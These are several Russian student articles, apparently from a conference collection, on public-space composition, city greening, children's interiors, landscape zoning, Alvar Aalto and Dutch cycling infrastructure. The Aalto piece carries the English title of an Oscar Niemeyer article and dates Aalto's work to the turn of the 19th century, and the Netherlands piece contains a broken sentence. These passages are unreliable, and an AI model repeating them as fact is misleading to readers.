Компактность и многофункциональность[2]. В стремительно развивающемся 
обществе каждый выбирает то дело, которое ему по душе. Важной задачей для строи-
телей является совмещение разных направлений деятельности. Спортивные площадки, 
коворкинги, площадки для детского отдыха и многие другие направленности. Все эти 
зоны должны грамотно сочетаться в городской среде и нести максимальную пользу. 
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Дерево и бетон. Пальма первенства уже давно закоренилась за этими материа-
лами. Они безопасны, долговечны и экологичны.  Для малых архитектурных форм уже 
давно перестали использоваться дорогостоящие материалы, такие как мрамор и гранит. 
Материалы адаптировались под быстрый ритм современного мира. 

Отечественные производители. Всё больше внимания государство уделяет оте-
чественным производителям. В связи со сложившейся политической ситуацией, многие 
разработчики получили возможность предлагать и реализовывать свои проекты. Лока-
лизация предприятий, время изготовления и многие другие факторы являются неоспо-
римым преимуществом отечественных производителей. Часто качество не только не 
уступает, но и превосходит зарубежные аналоги.  

Влиять на восприятие общественного пространства могут несложные правила 
композиции в интерьере. К ним относятся: 

Симметрия. Самый популярный вид композиционного решения. Классический 
приём при планировке. Чёткость и строгость, рациональное зонирование. Замещает ло-
гичный центр композиции, если он отсутствует.  

Асимметрия. Противоположность симметрии. Облегчает восприятие простран-
ства, делает его хаотичным и от этого более интересным. 

Ритм. Совокупность одинаковых предметов с минимальными отличиями, вно-
сит в пространство нотку гармонии и рациональности. С помощью такого приёма мож-
но чётко выделить акцентные места или функциональные зоны[3]. 

Статика. Авторитет, солидность, строгость. Всё это присуще статике. В данном 
направлении лучше использовать МАФы из дорогих материалов и пород, чтобы про-
странство не выглядело фальшивым.  

Динамика. Антоним статики. Игра, оживленность, непредсказуемость. Добиться 
такого эффекта можно с помощью хаотичного выделения зон, геометрии, линий, цвета.  

Акцентный элемент (рисунок 1). Полезен для привлечения внимания к одному 
или группе элементов. Отвлекает от окружающих шумов.  

 
Рисунок 1 – Площадь у дуба, г. Обнинск 

Правило трёх. Сочетание нечетного количества элементов всегда смотрится бо-
лее выигрышно. Свобода и креативность – основной лозунг этой направленности. 

Архитектура окружающего пространства является неотъемлемой частью форми-
рования кругозора человека. Она окружает нас на каждом шагу, именно поэтому гра-
мотное композиционное решение общественных пространств – это основа создания 
благоприятной среды для жизнедеятельности человека. Каждое сооружение, будь то 
мост, храм, школа, парк должны нести смысл и быть понятыми. Если окружающее нас 
пространство будет соответствовать нормам, правилам и законам композиции, то это не 
только будет визуально приятно, но и физически и духовно наполнять человека.  
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Аннотация. Статья рассматривает важность и актуальность создания зеленых зон в рос-
сийских городах на фоне текущей урбанизации и ухудшения экологической ситуации  
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текущего состояния озеленения в крупных населенных пунктах и административных 
центрах Российской Федерации. 
Abstract The article examines the importance and relevance of creating green areas in Russian 
cities against the backdrop of ongoing urbanization and deteriorating environmental condi-
tions in the country. It emphasizes how the development and maintenance of green spaces can 
become a powerful tool for improving the quality of life of city residents, reducing air pollu-
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В современных городах, особенно крупных, с множеством различных промыш-

ленных предприятий, развитой сетью городского транспорта, плотной жилой  
и общественной застройкой, неизбежно создаются условия, неблагоприятно влияющие 
на здоровье человека. Озеленение городов – это совокупность мероприятий, направ-
ленных на улучшение внешнего вида и экологии населенного пункта, для комфортного 
пребывания в нем местных жителей, а также туристов. В контексте стремительного 
развития городов, их урбанизации и увеличивающегося числа городского населения 
актуальность проблемы внутреннего климата населенных пунктов возросла многократ-
но и продолжает расти с каждым днем. За последние годы экологический баланс горо-
дов России значительно нарушился. Увеличение концентрации загрязняющих  
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веществ, повышенный шумовой фон, перенасыщенность инфраструктурой и недоста-
ток зон для отдыха негативно сказываются на физическом здоровье и психологической 
стабильности горожан. Озеленение не только преобразует внешний вид городов,  
но и становится фундаментом для создания благоприятной атмосферы и экологических 
показателей для жизни горожан. Актуальность темы, приведенной в этой статье,  
заключается в рассмотрении важности увеличения количества зеленых зон в россий-
ских городах на фоне стремительной урбанизации и глобального ухудшения экологи-
ческой ситуации в стране. Цель данной статьи заключается в доказательстве необходи-
мости системного подхода к озеленению как неотъемлемой составляющей устойчивого  
развития городской инфраструктуры. 

Ситуация в городах Российской Федерации на сегодняшний день неоднозначна. 
С одной стороны, можно отметить большое количество исторических парков в цен-
тральной части России (рисунок 1), с другой, при проектировании и постройке многих 
современных жилых комплексов и кварталов на озеленение отводится малая часть. 
Рассматривая Правила землепользования и застройки города, можно заметить, что  
минимальный процент озеленения в жилых зонах должен составлять не менее двадцати 
процентов, но на деле, многие застройщики нарушают этот показатель, отдавая пред-
почтение дополнительным парковочным местам, совершая большую ошибку со сторо-
ны правил градостроительства. Также, если рассматривать города поменьше,  
то можно заметить большую нехватку озеленённых мест отдыха, что негативно влияет 
на физическое и эмоциональное состояние жителей города.  

 
Рисунок 1 – Парк Горького в Москве 

Одними из основных существующих на сегодняшний день проблем в реализа-
ции комфортных зеленых городских зон можно назвать: 

- неграмотное планирование зеленых посадок, а именно отсутствие комплексно-
го подхода в формировании озеленения города, как правило если в настоящее время 
деревья и высаживают, то делают это случайным образом, что приводит разрозненно-
сти городского озеленения;  

- отсутствие ухода за уже существующими парками и скверами; 
- нехватка денежных средств для реализации комфортных для людей озеленен-

ных мест отдыха; 
- отсутствие участия общества данном вопросе. 
Как уже говорилось выше, озеленение городов — это совокупность мероприя-

тий, которые требуют комплексный подход, для улучшения качества жизни населения. 
Нельзя решить данную проблему высадив побольше деревьев, важно, выбрать  
те разновидности, которые будут подходить под климат того или иного региона,  
а также, создать гармоничную композицию, для того, чтоб притягивать к озелененному 
пространству большее количество людей. Анализируя исходную ситуацию в отноше-
нии озеленения городов Российской Федерации, можно выделить несколько вариантов 
решения существующей проблемы. Так, например, вместо одноуровневых деревьев 
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лучше использовать разно уровневые растения как по вертикали, так и по горизонтали, 
для создания интересной и не монотонной композиции. Помимо декоративных качеств 
растений следует обращать внимание и на их устойчивость к суровому климату боль-
шинства российских городов. Еще одним путем решения существующей проблемы яв-
ляется увеличение бюджетов на реализацию проектов по озеленению городских про-
странств. Помимо эстетических и финансовых проблем существует еще и проблема со-
циальная, которую можно решить формированием экологической культуры среди го-
рожан, для повышения осведомленности оных о важности зеленых массивов в черте 
города, а также информирования о том, что отсутствие озеленения в городах несет за 
собой большие экологические проблемы (рисунок 2). 

 
Рисунок 2 – Городские работы по озеленению в Южно-Сахалинске 

 Таким образом, озеленение является неотъемлемой частью современного и ком-
фортного для проживания людей пространства. Она заключается в комплексном  
подходе, как и в экономической, так и в социальной сфере. Развитие грамотного озеле-
нение благоприятно сказывается не только на эстетическом восприятии городов, но  
и на физическом и эмоциональном состоянии горожан. Учитывая существующие про-
блемы и работая над ними, можно создать городскую среду, способствующую повы-
шения качества жизни населения России.   
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ОСОБЕННОСТИ ИНТЕРЬЕРА ОБЩЕСТВЕННЫХ ДЕТСКИХ УЧРЕЖДЕНИЙ 
 
FEATURES OF THE INTERIOR OF PUBLIC CHILDREN'S INSTITUTIONS 
 
Аннотация. Сегодня планирование и дизайн интерьеров общественных детских учре-
ждений остается актуальным вопросом. В современном мире общественные детские 
площадки, построенные в советское время, не соответствуют стандартам. Существуют 
основные требования к формированию и созданию общественных детских площадок. В 
статье анализируются внутренние особенности общественных детских учреждений в 
городском пространстве и пути решения существующих проблем в проектировании за-
строенной среды детских учреждений. 
Abstract. Today, the planning and design of the interiors of public children's institutions re-
mains an urgent issue. In the modern world, public playgrounds built in Soviet times do not 
correspond to stan darts. There are basic requirements for the formation and creation of public 
playgrounds. The article analyzes the internal features of public children's institutions in urban 
space and ways to solve existing problems in the design of built-up children's institutions. 
Ключевые слова: интерьер, общественные детские учреждения, многофункциональные 
элементы, декоративные элементы и цвета, модульная мебель, вариативность, художе-
ственный образ, физическое окружение, безопасные материалы. 
Keywords: interior, public children's institutions, multifunctional elements, decorative ele-
ments and colors, modular furniture, variability, artistic image, physical environment, safe 
materials. 

 
Для проведения личностно-ориентированной работы с детьми важно установить 

тесный контакт и создание общего и уютного психологического пространства для об-
щения, соответствующего интересам и предпочтениям ребенка, является важной зада-
чей. Это возможно благодаря гибкому подходу, который меняет роли взрослых и детей. 
Область взаимодействия должна быть организована таким образом, чтобы поддержи-
вать такую гибкость. В это входит планировка помещения, особая расстановка и выбор 
мебели, размещение вспомогательных предметов, игрушек и декоративных элементов, 
обращение внимания на цветовое и световое оформление, а также создание вдохновля-
ющей и комфортной обстановки, учитывающей потребности как в активности, так и в 
уединении. Интерьеры могут включать многофункциональные элементы, которые лег-
ко адаптируются и создают гармоничное целое.  И дети, и взрослые являются творцами 
своей целевой среды. При создании среды пространства и объектов учитываются сле-
дующие аспекты: анализируется само помещение, его размер, форма и освещение. Для 
каких видов деятельности будет использоваться помещение. Учитывайте помещение 
как общественное пространство и необходимость комфортного взаимодействия между 
людьми. Дети должны чувствовать себя уютно и комфортно в своей комнате. Гигиена 
важна не только для здоровья детей, но и для их образования. 

Необходимо строго соблюдать правила гигиены, в том числе содержать в чисто-
те комнату и все, что в ней находится. 

При создании предметной среды необходимо учитывать эргономические требо-
вания, основанные на физиологических, антропометрических и психологических ха-
рактеристиках пользователей этой среды. 

 К ним относятся:  
- обеспечение эстетических и гигиенических показателей.  
- соответствие возрастным потребностям и способностям;  
- сочетание новых и традиционных компонентов;  
- обеспечение необходимыми ресурсами и знаниями;  
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- наличие богатых информационных, природных и социокультурных средств для 
обеспечения разнообразия детской деятельности и творчества;  

- стимулирование развития и обучения;  
- вариативность;  
- обеспечение функциональной безопасности, надежности и комфорта;  
Одним из примеров можно представить установление и поддержание коммуни-

кации между окружающей среды и объектом. Важным компонентом развивающей сре-
ды является применение легко трансформируемой модульной мебели и оборудования, а 
также проектирование и обустройство пространства, соответствующее его функциона-
лу. Данный перечень может быть дополнен, принимая во внимание местные, этнокуль-
турные, социокультурные, климатические и прочие специфические факторы. Детали, 
декоративные элементы и цвета играют важную роль в создании образа общественных 
детских учреждений. Уникальные решения, такие как козырьки, входы и навесы, поз-
воляют создать множество вариаций на основе типовой схемы (рисунок 1). Важным 
аспектом решений для детских учреждений является создание гармоничного художе-
ственного образа с помощью ландшафтного дизайна, озеленения и малых архитектур-
ных форм (навесы, игровые павильоны, плескательные бассейны и т. д.)[3]. 

а)  б)  

в)  г)  
Рисунок 1- Виды навесов: а) односкатные; б) двускатные;  

в) вальмовые; г) арочные. 
При разработке проектов детских общественных учреждений важно обратить 

особое внимание на интерьер. Мебель, элементы декора и оборудование должны фор-
мировать атмосферу комфорта и тепла, а также способствовать воспитанию у детей 
чувства и осознания красоты.  

Физическое окружение ребенка должно быть адаптировано к его физическим 
возможностям и поощрять независимость и активность. Поставьте мебель, которую 
можно легко передвигать, чтобы дети могли организовать свое собственное простран-
ство. Низкие шкафы, легко открывающиеся замки и ящики, низкие вешалки для одеж-
ды, удобные в использовании предметы гигиены (чашки, щетки, мыло). Одежда, кото-
рую легко надевать и снимать, щетки для пола с короткими ручками для удобства 
уборки. Такая атмосфера побуждает деток быть наиболее самодостаточными и интен-
сивно участвовать в жизни окружающей среды. Зеленые комнатные растения и цветы 
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оживляют комнату. Они размещаются невысоко, чтобы детки могли сами их поливать. 
Для современных интерьеров характерны простота, комфорт и функциональность, от-
каз от излишеств в пользу продуманных и экономичных решений. Максимальное ис-
пользование света и воздуха - важный эстетический принцип, а также гигиенические 
преимущества. Важно создавать взаимосвязанные пространства, в которых все элемен-
ты интерьера гармонируют друг с другом и дополняют друг друга. Цвет - важный эле-
мент в создании гармоничного интерьера, но важны не сами цвета, а их сочетания. 
Большие поверхности (полы, стены, потолки) должны быть оформлены в светлых то-
нах, а маленькие (детали, акценты) - в более светлых. Цветовое сочетание стен и пола 
имеет большое значение (рисунок 2). Как только вы найдете правильное сочетание этих 
деталей, вам будет гораздо проще выбрать цвет аксессуаров [4]. 

 
Рисунок 2 - Широкое применение круга Иттена. 

Монохромная – использование трех соседних оттенков, для спокойного и уни-
кального интерьера.  

Комплементарная – противоположные два цвета. Гармоничное использование 
данных цветов дополняется нейтральными оттенками.  

Аналоговая - использование трех соседних цветов.  
Триада или сплит комплементарная - как следует из названия, эта схема со-

стоит из трех цветов. Внутри круга Иттена вырезаны равнобедренные треугольники, 
так что углы аккуратно вписываются в гармоничное сочетание цветов интерьера. 

Тетрада - Следующее гармоничное цветовое решение возникает из квадрата, 
помещенного внутрь круга Иттена. В этом случае один цвет можно использовать в ка-
честве основного, два цвета - в качестве дополнительных, а остальные - в качестве ак-
центов. 

Прямоугольник - Разновидность тетрады, эта цветовая схема позволяет двум 
соседним парам комплементарных цветов хорошо сочетаться друг с другом благодаря 
их близкому спектральному расположению. Прямоугольный дизайн сдержан, но эф-
фектен. 

Другие цветовые схемы менее популярны, так как являются расширенными ва-
риантами и должны быть заранее продуманы при их использовании. 

В помещениях с большим количеством естественного света рекомендуется ис-
пользовать холодные цвета, чтобы создать ощущение прохлады. В комнатах, выходя-
щих на север или темных, контрастные цвета с теплыми оттенками могут создать эф-
фект солнечного света. В детских садах стены часто окрашивают в светлые, мягкие 
цвета, такие как светло-бежевый, салатовый или голубоватый. Цвет пола также играет 
важную роль. Полы покрывают линолеумом или специальными материалами и окра-
шивают в светлые тона, сочетающиеся с цветом стен [1]. 
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Что бы обеспечить достаточно места для подвижных игр детей необходимо раз-
работать оригинальные и функциональные решения для интерьера детских учреждений 
— это и является основной задачей. 

Модульная мебель поможет в решении данной задачи. Данная мебель позволяет 
комбинировать в одной предмете несколько функций, а также выполняя игровой функ-
ционал. Еще один из важных функций являет правильное зонирование пространства. 
Ведь главная цель общественных детских центров - помочь каждому ребенку раскрыть 
свой потенциал. Не менее важно, чтобы все материалы интерьера были изготовлены из 
экологически чистых материалов. К сожалению, из соображений экономии во многих 
детских учреждениях используются искусственные материалы, негативно влияющие на 
здоровье детей: ДСП и ДВП, пропитанные токсичными веществами, токсичный лино-
леум, дешевые пластиковые стеклопакеты. Использование безопасных материалов поз-
воляет избежать многих распространенных сегодня проблем, таких как аллергические 
реакции [5]. 
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Аннотация. Грамотное зонирование участка является важным компонентом благо-
устройства территории. Помимо визуального благополучия территории, зонирование 
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 Зонирование участка – это очень важный элемент ландшафтного дизайна, кото-
рый помогает создать гармоничное и функциональное пространство. Правильное зони-
рование позволяет организовать разные области, учитывая их предназначение, особен-
ности рельефа и эстетические предпочтения людей. В этой статье я рассмотрю основ-
ные инструменты и методы, которые помогут многим людям эффективно зонировать 
их участок. Стилистика ландшафта. Прежде всего стоит разобраться, какие стили 
ландшафтного дизайна бывают. Важность в выборе стиля заключается в том, что раз-
ные стили предполагают разную планировку. Например, китайский стиль предполагает 
точное разделение зон разных назначений. В противовес данному стилю существует 
альпийский стиль, в котором вся территория напоминает дикую природу, а то есть сво-
бодные посадки озеленения, различные камни в качестве декора и большое количество 
деревянных элементов (рисунок 1). 

 
Рисунок 1 – Сравнение китайского и альпийского стиля в ландшафтном дизайне 
Также стоит выделить некоторые стили, которые часто используются в ланд-

шафтном дизайне. Английский стиль так же тесно связан с природными элементами, но 
главным его отличием является преобладание зон пассивного отдыха и большое коли-
чество зеленых насаждений. Все кусты и кустарники должны быть аккуратно остриже-
ны, как и газон. Голландский тиль отличается дорожками исключительно из природных 
материалов и изобилием клумб с цветами. Особенно предпочтительны тюльпаны и ги-
ацинты. Деревенский стиль выделяется обилием плодовых деревьев и кустами с гряд-
ками. Зона сада и огорода в деревенском стиле является превалирующей. В качестве 
ландшафтных украшений здесь используются как плетеные заборы, так и высокие цве-
ты. Такой стиль гармонично сочетается с плетенной мебелью и глиняной утварью. Из 
цветов чаще всего используются разные сорта бархатцев и мальв, а также, ромашки [1].   

Основные функциональные зоны. 
В ландшафтном строительстве важно знать и отделять определенные зоны для 

удобства размещения, функциональности, а также для эстетического благополучия со 
стороны. Чтобы эстетично разделить участок на зоны, необходимо создать в его преде-
лах гармоничное пространство, где каждый элемент приносит как визуальное насла-
ждение, так и практическую пользу. В первую очередь нужно выделять парадную зону. 
Она является «визитной карточкой» участка и самой посещаемой зоной. Именно там 
проводятся различные семейные мероприятия и встречаются гости. С этой зоны дол-
жен просматриваться весь участок, именно поэтому не стоит ограждать ее высокими 
насаждениями, которые будут препятствовать обзору. Второй по посещаемости зоной 
является зона отдыха. Важно там размещать достаточное количество сидячих мест для 
от отдыха, но и нельзя забывать про навесы для защиты от солнца. Так же там можно 
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разместить качели и обустроить место мангала, или кострища. Эта территория должна 
быть отдалена от парковки и внешних улиц участка для безопасности посетителей и их 
детей. Главное правило — зона отдыха должна открывать взгляду красивые пейзажи, 
чтобы находясь там, можно было созерцать лучшие виды (рисунок 2) [2].  

 
Рисунок 2 – зона отдыха участка 

Для многих людей важно размещение грядок и для них так же есть определен-
ные правила размещения. Зона грядок должна быть размещен в зоне максимального 
освещения и желательно чтоб тень на этом участке земли была минимальное количе-
ство времени для сохранения урожая. Грядки стоит организовать вдали от зон отдыха, 
занятия спортом и детской площадки, чтобы минимизировать повреждения растений. 

Для того чтоб не загромождать территорию важно выделять хозяйственную зо-
ну. Чтобы атмосфера уюта не терялась в каждом уголке участка, мастерская, гараж и 
сауна не должны объединяться с сектором отдыха. Хозяйственная зона должна обеспе-
чиваться отдельным въездом. В хозяйственной зоне обычно находятся гараж, сауна, 
теплицы, помещение для инвентаря.  

Способы функционального зонирования территории. 
В зонировании важно знать какие способы существуют для разделения террито-

рии, для создания гармоничной обстановки на местности.  
Самый базовый способ зонирования — это использование дорожек и площадей. 

Помимо функционального назначения они так же визуально разделяют пространство. 
Благодаря возможности использования разных материалов, они благополучно вписы-
ваются в разные стили. Для зонирования так же можно использовать осветительные 
приборы. Светильники можно встроить в грунт или расположить по периметру функ-
циональной зоны. Они могут быть как низкие, так и высокие что поможет индивиду-
ально подойти к каждому пространству. Также довольно распространены варианты с 
навесным освещением и прожектором. В качестве более монументального разделения 
территории можно использовать габионы. Они могут выступить не только как ограж-
дения, но и как эксплуатируемые объекты, которые гармонично смотрятся с другими 
натуральными материалами, которые часто используются в строительстве. Габионы 
могут использоваться в качестве скамей, столиков, фонтанных чаш, а также и ваз для 
уличных цветов и много другое. В некоторых случаях габионы могут быть использова-
ны не в качестве полноценной ограды, а интегрированы в виде панно (рисунок 3) [3]. 

 
Рисунок 3 – Зонирование при помощи габионов 
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Ограничителем территории так же могут выступить бордюры из цветов и других 
растений. Они не только украсят пространство, но и поделят его на зоны. Достаточно 
просто по периметру территории высадить узкий цветник. Для такого приема подойдут 
растения, которые хорошо держат форму. Для такого «бордюра» подойдут и кустарни-
ки, но миниатюрных размеров. 

Вместо бордюрных растений можно выбрать растения в вазонах. В этом случае 
зонирование территории ничем не будет отличаться от зонирования квартиры. 

В зонировании садовых участков может быть использован и еще один квартир-
ный прием – зонирование с помощью мебели. Главное, чтобы она была предназначена 
для уличного применения. Функциональное зонирование участка — это не просто спо-
соб организации пространства, но и важный инструмент для создания комфортной и 
эстетически привлекательной среды. Правильное распределение зон позволяет не толь-
ко эффективно использовать доступные ресурсы, но и улучшить качество жизни, обес-
печивая удобство и безопасность для всех пользователей. В процессе зонирования важ-
но учитывать, как функциональные, так и визуальные аспекты, чтобы каждая зона гар-
монично вписывалась в общий ландшафт. В итоге, грамотно спроектированное зониро-
вание способствует созданию уникального пространства, которое будет радовать глаз и 
удовлетворять потребности его обитателей на протяжении многих лет. 
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ТВОРЧЕСТВО АЛВАРА ААЛТО 
 
THE WORK OF OSCAR NIEMEYER 
 
Аннотация. В данной статье исследуется гениальное наследие финского архитектора, 
ставшего знаковым лицом ХХ века. Творя на стыке XIX и XX столетий, он мастерски 
сочетал элементы органической архитектуры с функционализмом. Аалто стал ярчай-
шим примером архитектора, умеющего заставлять стандарт служить эмоциональной 
стороне искусства. Его здания, которые до сих пор сохранились в США и во многих 
уголках Европы, поражают простотой, но при этом уникальной формой. Аалто был ис-
тинным мастером своего дела. Хотя он и утверждал, что даже через тысячелетия архи-
текторы не смогут преобразовать мир, но верил что в важность своего дела.  
Annotation. This article examines the brilliant legacy of the Finnish architect who became an 
iconic figure of the 20th century. Working at the turn of the 19th and 20th centuries, he mas-
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terfully combined elements of organic architecture with functionalism. Aalto became the most 
striking example of an architect who knew how to make the standard serve the emotional side 
of art. His buildings, which still survive in the United States and many parts of Europe, amaze 
with their simplicity, but at the same time, unique form. Aalto was a true master of his craft. 
Although he claimed that even in millennia, architects would not be able to transform the 
world, he believed in the importance of his craft. 
Ключевые слова: Алвар Аалто, творчество ХХ века, финская архитектура 
Keywords: Alvar Aalto, 20th century creativity, Finnish architecture 

 
Алвар Аалто был одним из первых и наиболее влиятельных представителей 

скандинавского стиля, который стал символом изысканного вкуса и идеалом дизайна. 
Его архитектурные формы, мебель и визуальные элементы стали популярны во всем 
мире и оказали значительное влияние на мир моды. Но мало кто знает, что одним из 
основателей этого художественного направления был финский архитектор Алвар Аал-
то. Его наследие остается актуальным и современным. 

Алвар Аалто был новатором финской архитектуры, ведущим представителем 
скандинавского дизайна 20-го века и «отцом» североевропейского модернизма. Его 
стиль превосходил своё время. Он одновременно сочетал в себе смелость и гармонич-
ность решений. Аалто объеденял в своих работах такие материалы как камень, кирпич, 
дерево, а также стекло и железобетон.  

Изучая жизнь, творческие концепции и архитектурные произведения Алвара 
Аалто, невозможно не заметить его огромный вклад не только в скандинавскую, но и в 
мировую архитектуру. Его шедевры до сих пор радуют зрителей по всему миру. 

Основной целью данной работы является изучение жизни и творчества Алвара 
Аалто. Будущий гений архитектуры родился 3 февраля 1898 года в семье лесника. Своё 
детство он провел в городе Алаярви, где была вся красота финской природы, любовь к 
которой он сохранил на всю жизнь и воплощал в своих произведениях.  

Его страсть к искусству начала активно развиваться еще в юности на занятиях 
рисованием в лицее Ювяскюля, где местный художник Йонас Хейска обучал его осно-
вам графики и пространственного мышления. Аалто любил природу с раннего детства. 
Детство он провел в небольших провинциальных городках сначала в Куортане, а затем 
в Алаярви, где его окружали величественные финские пейзажи: живописные озера и 
бескрайние равнины. Эти впечатления стали неотъемлемой частью его творчества, ко-
торое постоянно искало отголоски природы. В 1923 году молодой, амбициозный Алвар 
Аалто, уже зарекомендовавший себя талантливым художником-монументалистом, ос-
новал собственную архитектурную мастерскую в Ювяскюля, Финляндия. Этот период 
ознаменовался не только началом самостоятельной творческой деятельности, но и 
формированием его неповторимого архитектурного стиля, который впоследствии ста-
нет узнаваем во всем мире. Он не просто использовал традиционные финские материа-
лы – дерево, кирпич, гранит – но глубоко прочувствовал их сущность, используя тек-
стуру и цвет для создания уникальной атмосферы. Обращение к природе не ограничи-
валось только материалами. Стоит отметить, что Аалто всегда избегал жестких границ, 
предпочитая идти дальше и исследовать что-то новое. Его идеи часто выступали в 
форме неожиданных абстракций, а не четких планов, и лишь позднее принимали более 
конкретные формы.  В 1927 году в Выборге был возведен один из его значимых проек-
тов библиотеки (рисунок 1а). В своём проекте архитектор разработал не только дизайн 
фасада, но и дизайн помещений и даже мебели, что в дальнейшем отразилось на всём 
его творчестве.  В этом проекте Аалто впервые разработал дизайн интерьера и мебели, 
который впоследствии стал неотъемлемой частью его творчества. Всё было продуман-
но до мельчайших подробностей от декора до освещения в разное время суток. Библио-
тека в Выборге находится в историческом парке и включает читальные залы, конфе-
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ренц-зал, детское отделение, пространство для периодических изданий и администра-
тивные офисы. Архитектурный осмотр здания показывает ясность его функционально-
го дизайна, основанного на отделении разных секций, которые гармонично объединены 
в единое целое. Для данной инсталляции была создана мебель от Alec и другие элемен-
ты интерьеров. Здесь Аалто впервые применил стулья из гнутой фанеры, что впослед-
ствии оказало значительное влияние на мировой дизайн деревянной мебели. В 1938 го-
ду Аалто разработал своё самое яркое творение предшествующего периода – виллу 
Майреа, летний дом для Майры Гулликсен в Нормаркку (рисунок 1б). Архитектор по-
лагал, что возведение грандиозного оперного театра или городского центра – задача 
значительно проще, чем проектирование и строительство частных домов. Вилла, спро-
ектированная семьей Аалто, является настоящим произведением искусства: она отра-
жает модернистскую простоту и изысканность, которая сейчас воспринимается как ти-
хая роскошь. Небольшой двухэтажный дом прекрасно вписан в природный ландшафт: 
строгие линии, белый цвет и деревянный фасад с реечными узорами различных оттен-
ков напоминают ритм соснового леса. Во дворе расположен бассейн, формой напоми-
нающий небольшое озеро с плавно очерченными краями. [2]. 

                           а)                                     б) 

 
Рисунок 1 – а) Библиотека в г. Выборг; 

б) Вилла Майреа в г. Нормаркку 
Одними из наиболее значимых проектов мастера, которые во всю красоту пока-

зывают творчество архитектора, являются здания редакции газеты «Турун-Саномат» в 
Турку (1928-1930) (рисунок 2а), санатория для лечения больных туберкулезом в 
Паймио (1929-1933) (рисунок 2б).  

Известность Алвар Аалто приобрел в 1937 году, создав дизайн финского пави-
льона на Всемирной выставке в Париже. После 40х годов автор сосредоточил свою де-
ятельность на преподавании в Массачусетском технологическом институте. 

Не смотря на, это Аалто продолжал творить, в это время он создал множество 
шедевров в разных странах. За это время были возведены такие объекты как обще-
ственный центр в Сяюнатсало (рисунок 3а), педагогический институт в Ювяскюля (ри-
сунок 3б), Дворец Финляндии в Хельсинки, а также целлюлозный завод и прилегаю-
щую деревню в Сунил и многое другое. 
                                      а)                                        б) 

 
Рисунок 2 – а) Здание редакции газеты «Турун-Саномат» в г.Турку; б) Санато-

рий для лечения туберкулезных больных в г. Паймио 
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                            а)        б) 

 
Рисунок 3 – а) Общественный центр в Сяюнатсало; б) Педагогический институт 

в Ювяскюля 
В возрасте 45 лет Алвар Аалто принял на себя руководство Союзом архитекто-

ров Финляндии, а в 65 лет занял пост президента Академии Финляндии. Он скончался 
11 мая 1976 года в Хельсинки. Его работы, которые можно встретить по всему миру, 
служат свидетельством талантливого архитектора, который привнёс новшества в евро-
пейскую архитектурную традицию, сделав её более минималистичной и гармоничной. 
У себя на родине Аалто занимает такое же место, как такие известные деятели культу-
ры, как писательница Туве Янссон и композитор Жан Сибелиус. До 2002 года изобра-
жение архитектора даже использовалось на банкноте номиналом 50 марок. 

Аалто не ограничился лишь строительством зданий: его работы стали монумен-
тальным вкладом в развитие финского и международного искусства. Есть архитекторы, 
чье творчество исходит изнутри, создавая формы и структуры, но Аалто представляет 
совершенно другой подход. В каждой его работе можно услышать отзвук человеческих 
судеб, который отражается в изысканных линиях и гармоничных пропорциях. Его чут-
кое восприятие материалов и форм, а также стремление к функциональностипозволили 
ему разработать уникальный стиль, который продолжает вдохновлять архитекторов и 
искусствоведов по всему миру. В этой работе мы погружаемся в мир выдающегося ар-
хитектора, изучая его важные постройки и основные принципы творчества. Мы откры-
ваем для себя глубокие идеи и концепции Алвара Аалто, осознавая, что каждое его тво-
рение – это не просто архитектурный объект, а живая история взаимодействия человека 
и пространства, стремление к гармонии искусства и повседневной жизни. 
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РАЗВИТИЕ ВЕЛОСИПЕДНЫХ И ПЕШЕХОДНЫХ ПРОСТРАНСТВ  
НА ПРИМЕРЕ НИДЕРЛАНДОВ 
 
DEVELOPMENT OF CYCLING AND PEDESTRIAN SPACES USING  
THE EXAMPLE OF THE NETHERLANDS 
 
Аннотация. В современном мире остро стоит вопрос увеличения автомобилей в горо-
дах, что приводит ко многим проблемам. Люди всё больше используют личный или 
общественный транспорт, а пешеходные и велосипедные пространства не развиваются. 
Создание вело- и пешеходных сетей для передвижение на малые и средние простран-
ства должно быть приоритетной задачей политической системы городских про-
странств. Создание вело-пешеходной инфраструктуры играет ключевую роль в укреп-
лении межличностных отношений и гармоничном соединении значимых архитектур-
ных объектов города. Следовательно, к проектированию подобных пространств необ-
ходимо предъявлять повышенные требования, учитывающие как композиционные, так 
и смысловые аспекты. Так в статье мы рассмотрим опыт Нидерландов в развитии вело-
сипедной и пешеходной сети города. 
Annotation. In the modern world, the issue of the passion for cars in cities is acute, which 
leads to many problems. People increasingly use personal or public transport, and pedestrian 
and bicycle spaces are not developed. The creation of bicycle and pedestrian networks for 
movement in small and medium-sized spaces should be a priority task of the political system 
of urban spaces. The creation of bicycle and pedestrian infrastructure plays a key role in 
strengthening interpersonal relationships and harmoniously connecting significant architectur-
al objects of the city. Therefore, it is necessary to impose increased requirements for the de-
sign of such spaces, taking into account both compositional and semantic aspects. So in the 
article we will consider the experience of the Netherlands in the development of bicycle and 
pedestrian networks. 
Ключевые слова: пешеходные пространства, велосипедное пространство, Нидерланды, 
развитие, инфраструктура. 
Keywords: pedestrian spaces, bicycle space, Netherlands, development, infrastructure. 

 
В настоящее время развитие технологий в разрезе личного транспорта достигла 

больших высот. Современные города наполнены автомобилями и большим количе-
ством дорог для них, что не посредственно сказывается на пешеходной части города. 
Люди всё больше передвигаются на машинах или общественном транспорте, что непо-
средственно отражается на социальной и экологической обстановкой в мире.  

Ранее города развивали по принципу «город для автомобилей», но в данное вре-
мя концепцию начали менять. Сейчас всё больше внимание уделяется развитию пеше-
ходных и велопространств. Ведь снижение количества автомобилей на дорогах приве-
дёт к улучшению окружающей среды и повысит безопасность на дорогах. 

В современных европейских городах уже стали внедрять концепцию «город для 
людей», так в Нидерландах процент тех, кто пользуется автомобилями значительно 
ниже, чем процент тех кто пользуется велосипедами. 

Создавая и увеличивая количество пешеходных зон и развивая велосипедную 
инфраструктуру городов. Так, например, в городах Нидерладов процент людей поль-
зующихся велосипедами уже значительно превышает удобной и безопасной велоси-
педной и пешеходной инфраструктуры – ключевой фактор повышения качества жизни 
в современных городах. Это предполагает не только строительство велодорожек и тро-
туаров, но и комплексный подход, учитывающий связность маршрутов, безопасность 
движения, доступность и эстетику. Инвестиции в велосипедные и пешеходные зоны 
способствуют снижению транспортной нагрузки, улучшению экологической обстанов-
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ки и стимулированию здорового образа жизни. Важно проектировать пространства, ко-
торые будут востребованы различными группами населения, включая детей, пожилых 
людей и людей с ограниченными возможностями. 

При проектировании необходимо учитывать передовой опыт, использовать со-
временные материалы и технологии, а также привлекать к обсуждению жителей горо-
да. Развитая велосипедная и пешеходная инфраструктура – это не просто элемент го-
родской среды, это инвестиция в будущее. 

